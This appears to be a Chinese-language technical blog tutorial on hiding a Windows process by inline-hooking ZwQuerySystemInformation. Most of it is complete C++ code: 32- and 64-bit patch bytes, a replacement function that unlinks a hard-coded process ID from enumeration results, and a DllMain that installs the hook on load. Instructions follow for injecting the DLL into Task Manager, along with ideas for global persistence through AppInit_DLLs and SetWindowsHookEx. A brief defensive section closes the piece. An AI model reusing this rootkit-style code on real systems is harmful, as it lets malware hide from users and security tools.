HOOK之进程隐藏
字数 1424 2025-08-09 15:23:08
HOOK技术实现进程隐藏 - 深入解析与实现
1. 前言与背景
进程隐藏技术是恶意软件和某些安全产品常用的技术手段,通过隐藏进程可以规避常规的检测方法。本文重点讲解通过HOOK技术实现进程隐藏的方法,特别是针对ZwQuerySystemInformation函数的HOOK技术。
2. 进程隐藏技术概览
2.1 常见进程隐藏技术
-
进程伪装:
- 修改PEB中的路径和命令行信息
- 将恶意进程名称替换为正常进程名称
-
傀儡进程:
- 挂起目标进程
- 替换内存数据
- 卸载原始镜像
- 修改上下文
- 执行恶意代码
- 常用于壳程序实现
-
HOOK技术:
- 通过HOOK Ring3底层API实现
- 本文重点:HOOK
ZwQuerySystemInformation
-
其他技术:
- COM劫持
- DLL劫持
- DLL注入
3. 技术原理
3.1 进程枚举的底层机制
Windows系统中,常见的进程枚举API包括:
EnumProcessCreateToolhelp32Snapshot
这些API在Ring3层的底层最终都会调用ZwQuerySystemInformation函数:
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
3.2 HOOK实现原理
通过HOOK ZwQuerySystemInformation函数:
- 重定向函数执行流
- 篡改返回的进程信息
- 过滤掉需要隐藏的进程信息
4. 实现细节
4.1 架构差异
不同架构下的HOOK实现方式不同:
32位系统:
- 修改5字节硬编码:
0xe9 xx xx xx xx - 使用JMP指令实现跳转
64位系统:
- 修改12字节硬编码:
0x48 0xb8 xx xx xx xx xx xx xx xx 0xFF 0xE0 - 使用MOV+JMP组合指令实现跳转
- 注意:64位下函数名可能为
RtlGetNativeSystemInformation
4.2 核心代码实现
4.2.1 HOOK函数实现
void hookZwQuerySystemInformation() {
// 获取ntdll.dll模块
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..\n";
return;
}
// 定义函数指针类型
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#else
typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
#endif
// 获取函数地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
(typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";
return;
}
// 准备HOOK代码
#ifdef _WIN64
BYTE pData[12] = { 0x48, 0xb8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xFF, 0xE0 };
ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#else
BYTE pData[5] = { 0xe9, 0x0, 0x0, 0x0, 0x0 };
DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#endif
// 修改内存保护属性并写入HOOK代码
DWORD dwOldProtect = NULL;
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
4.2.2 UNHOOK函数实现
void unhookZwQuerySystemInformation() {
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..\n";
return;
}
// 定义函数指针类型(同上)
// 获取函数地址(同上)
// 恢复原始代码
DWORD dwOldProtect = NULL;
VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
#ifdef _WIN64
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
#else
RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#endif
VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}
4.2.3 自定义处理函数
NTSTATUS WINAPI New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status = NULL;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwHideProcessId = 29936; // 要隐藏的进程ID
// 先卸载钩子
unhookZwQuerySystemInformation();
// 获取原始函数地址
HMODULE hntdll = LoadLibraryA("ntdll.dll");
if (!hntdll) {
std::cout << "[!] Load ntdll Faild..\n";
return status;
}
// 定义函数指针类型(同上)
typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
(typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
if (!ZwQuerySystemInformation) {
std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";
return status;
}
// 调用原始函数
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
// 处理返回的进程信息
if (NT_SUCCESS(status) && 5 == SystemInformationClass) {
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) {
// 判断是否是要隐藏的进程PID
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId) {
if (0 == pCur->NextEntryOffset) {
pPrev->NextEntryOffset = 0;
} else {
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
} else {
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset) {
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
// 重新挂钩
hookZwQuerySystemInformation();
return status;
}
4.3 DLL主函数
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
hookZwQuerySystemInformation();
g_hModule = hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
unhookZwQuerySystemInformation();
break;
}
return TRUE;
}
5. 测试与验证
5.1 测试环境
- Windows 10 64位系统
- 需要编写或使用现有的DLL注入工具
5.2 测试步骤
- 确定要隐藏的进程ID(如QQ进程)
- 编译生成DLL(注意位数匹配)
- 使用注入工具将DLL注入到目标进程(如任务管理器)
- 验证目标进程是否从进程列表中消失
5.3 注意事项
- DLL位数必须与目标进程匹配(32位或64位)
- 注入目标选择系统关键进程(如任务管理器)效果更明显
- 测试时建议使用虚拟机环境
6. 扩展思考
6.1 全局HOOK实现
要实现对所有进程的HOOK,可以考虑:
- 全局钩子(Global Hook):通过SetWindowsHookEx设置全局钩子
- AppInit_DLLs:利用注册表键值实现DLL全局加载
- 驱动级HOOK:在Ring0层实现更底层的HOOK
6.2 防御措施
了解此类技术有助于防御:
- 检测内存中的HOOK代码
- 使用直接系统调用绕过Ring3 HOOK
- 内核模式检测
- 校验关键系统函数的完整性
7. 总结
本文详细介绍了通过HOOK ZwQuerySystemInformation实现进程隐藏的技术,包括:
- 不同架构下的HOOK实现差异
- 完整的代码实现
- 测试验证方法
- 扩展应用思路
这种技术展示了Windows API HOOK的强大能力,同时也提醒我们系统安全防护需要多层次、多维度的防御策略。